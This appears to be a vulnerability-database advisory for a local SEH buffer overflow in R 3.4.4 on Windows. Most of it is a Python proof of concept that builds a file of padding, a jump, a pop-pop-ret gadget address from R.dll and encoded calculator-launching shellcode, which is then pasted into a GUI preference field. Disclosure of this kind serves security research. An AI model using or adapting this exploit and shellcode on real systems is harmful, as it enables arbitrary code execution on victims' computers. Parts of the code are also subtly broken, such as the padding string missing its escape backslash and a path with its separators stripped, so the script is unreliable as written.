R 3.4.4 Bufer Overflow

2018.08.29
fr ZwX (FR) fr
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

#--------------------------------------------------------# #Exploit Title: R v3.4.4 - (SEH) Buffer Overflow Exploit #Exploit Author : ZwX #Exploit Date: 2018-08-22 #Vendor Homepage : https://www.r-project.org/ #Tested on OS: Windows 7 #Social: twitter.com/ZwX2a #contact: msk4@live.fr #Website: http://zwx-pentester.fr/ #--------------------------------------------------------# #Technical Details & Description: #================================ '''A local buffer overflow vulnerability has been discovered in the official R v3.4.4 software. The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process. The issue can be exploited by local attackers with system privileges to compromise the affected local computer system. The vulnerability is marked as classic buffer overflow issue''' # Manual steps to reproduce the vulnerability: under GUI preferences # paste bo.txt contents into 'Language for menus and messages' click ok --> Now the calculator executes! #!/usr/bin/python from struct import pack buffer = "x41" * 900 a = "\xeb\x14\x90\x90" b = pack("<I",0x6cb85492) #pop esi # pop ebp # ret 04 | {PAGE_EXECUTE_READ} [R.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.4.4 (C:Program FilesRR-3.4.4bini386R.dll) calc=("\xdb\xd7\xd9\x74\x24\xf4\xb8\x79\xc4\x64\xb7\x33\xc9\xb1\x38" "\x5d\x83\xc5\x04\x31\x45\x13\x03\x3c\xd7\x86\x42\x42\x3f\xcf" "\xad\xba\xc0\xb0\x24\x5f\xf1\xe2\x53\x14\xa0\x32\x17\x78\x49" "\xb8\x75\x68\xda\xcc\x51\x9f\x6b\x7a\x84\xae\x6c\x4a\x08\x7c" "\xae\xcc\xf4\x7e\xe3\x2e\xc4\xb1\xf6\x2f\x01\xaf\xf9\x62\xda" "\xa4\xa8\x92\x6f\xf8\x70\x92\xbf\x77\xc8\xec\xba\x47\xbd\x46" "\xc4\x97\x6e\xdc\x8e\x0f\x04\xba\x2e\x2e\xc9\xd8\x13\x79\x66" "\x2a\xe7\x78\xae\x62\x08\x4b\x8e\x29\x37\x64\x03\x33\x7f\x42" "\xfc\x46\x8b\xb1\x81\x50\x48\xc8\x5d\xd4\x4d\x6a\x15\x4e\xb6" "\x8b\xfa\x09\x3d\x87\xb7\x5e\x19\x8b\x46\xb2\x11\xb7\xc3\x35" "\xf6\x3e\x97\x11\xd2\x1b\x43\x3b\x43\xc1\x22\x44\x93\xad\x9b" "\xe0\xdf\x5f\xcf\x93\xbd\x35\x0e\x11\xb8\x70\x10\x29\xc3\xd2" "\x79\x18\x48\xbd\xfe\xa5\x9b\xfa\xf1\xef\x86\xaa\x99\xa9\x52" "\xef\xc7\x49\x89\x33\xfe\xc9\x38\xcb\x05\xd1\x48\xce\x42\x55" "\xa0\xa2\xdb\x30\xc6\x11\xdb\x10\xa5\xaf\x7f\xcc\x43\xa1\x1b" "\x9d\xe4\x4e\xb8\x32\x72\xc3\x34\xd0\xe9\x10\x87\x46\x91\x37" "\x8b\x15\x7b\xd2\x2b\xbf\x83") nops = "\x90" * 20 poc = buffer + a + b + nops + calc file = open("bo.txt","w") file.write(poc) file.close() print "POC Created by ZwX" #Solution - Fix & Patch: #======================= '''The solution could be to restrict and filter the number of characters on input of 'Language for menus and messages' ''' # Disclaimer: #=============== '''Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. Copyright A(c) 2018 | ZwX - Security Researcher (Software & web application)'''


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